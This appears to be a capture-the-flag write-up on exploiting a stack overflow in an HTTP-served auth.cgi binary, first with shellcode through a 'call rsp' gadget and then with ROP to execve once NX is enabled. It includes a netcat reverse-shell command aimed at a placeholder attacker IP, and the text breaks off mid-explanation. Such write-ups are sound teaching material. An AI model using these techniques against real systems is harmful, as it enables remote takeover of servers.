unlike the usual PWN challenges, instead of giving a connection string through tcp or netcat, we're given a link to HTTP.
visiting the website, it seems to be a static one as shown below
presented with a password form, I tried to submit it with a gibberish input, and got the response as shown below
we can see what is being sent through by capturing the request in BurpSuite
on the CTF platform, they gave us a binary called auth.cgi which seems to be what is handling our input indicated by the endpoint of our request, let's see what it is
└──╼ [★]$ file auth.cgi auth.cgi: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=c0053266aea9379cfe6a46dee6f69fb9c721f69e, for GNU/Linux 3.2.0, with debug_info, not stripped
└──╼ [★]$ pwn checksec auth.cgi Arch:amd64-64-littleRELRO:NoRELROStack:CanaryfoundNX:NXunknown-GNU_STACKmissingPIE:NoPIE (0x400000)Stack:ExecutableRWX:HasRWXsegments
it's missing every security mechanism (I have no idea why it says there's canary, but there's actually none), the binary itself is very simple with only a main function
the vulnerability lies quite clear as the length of read() is within our control and can be used to overflow the stack.
I've interacted with this kind of challenge before where the binary exploitation is through the HTTP medium in Tenable CTF 2023, I will use roughly the same script to setup my local debugging environment.
in short we can with pwntools, we can provide an additional environment variables upon summoning the process binary as follows:
this will be handy since the binary is taking the read size through the process environment variables.
otherwise if we wish to send the payload to the remote server, we can use python's requests library, and the CONTENT_LENGTH will be automatically handled for us.
to gain RCE the usual system("/bin/sh") or execve("/bin/sh", NULL, NULL) won't work. we don't establish a two way persistent communication using socks or other way.
Not to say though I'm not sure on this, there might be a change that our input is handled by a different application and forwarded to the actual challenge binary, spawning a shell would just mean spawning it in the server's local process with no actual communication is happening to us.
so the goal is to execute a Reverse Shell which is different and can be visualized with the picture below
Note: I'am aware that this is not 100% correct, but I think it serve enough purpose to understand what's going on given the current context
there's many reverse shell payload out there, but since we're able to execute shellcode with no restriction, I just took one from the link below
next is to find a gadget that would execute our shellcode within the stack, since the binary is statically compiled, we have tons of options though one that crossed my first though: jmp rsp is not to be found.
however we do have call rsp which in practice, does the same thing
next, we need for our machine to listen for connection and send the shellcode against the remote server
the binary and overall environment is the same as the previous challenge, however one thing different is that this time the binary has NX enabled
└──╼ [★]$ file auth.cgi auth.cgi: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=0519198742c4cfaf17998361e320132e208492c0, for GNU/Linux 3.2.0, with debug_info, not stripped
└──╼ [★]$ pwn checksec auth.cgi Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:NoPIE (0x400000)
Exploitation
the idea is still the same, however the execution is different, instead of shellcoding, we will ROP instead.
what the above shellcode does is equivalent to the following command in linux terminal:
/bin/nc/bin/nc<attacker_ip>1337-e/bin/sh
the port used by the shellcode I linked above uses 1337 while what I used in this challenge is 9001
this would quite be trivial or easy to do if we have system() as we just pass the string to it. However the static binary doesn't have that symbol. Instead we have to manually craft it into execve()
according to the manual execve() takes 3 parameters
I would however, retype it as execve(char *, char *[], char *[]) to make it more intuitive as it is a pointer to an array containing the parameters or environment variables you wish to pass to the executable.
which means to execute the reverse shell payload, we would need to prepare our arguments such that when calling it would be: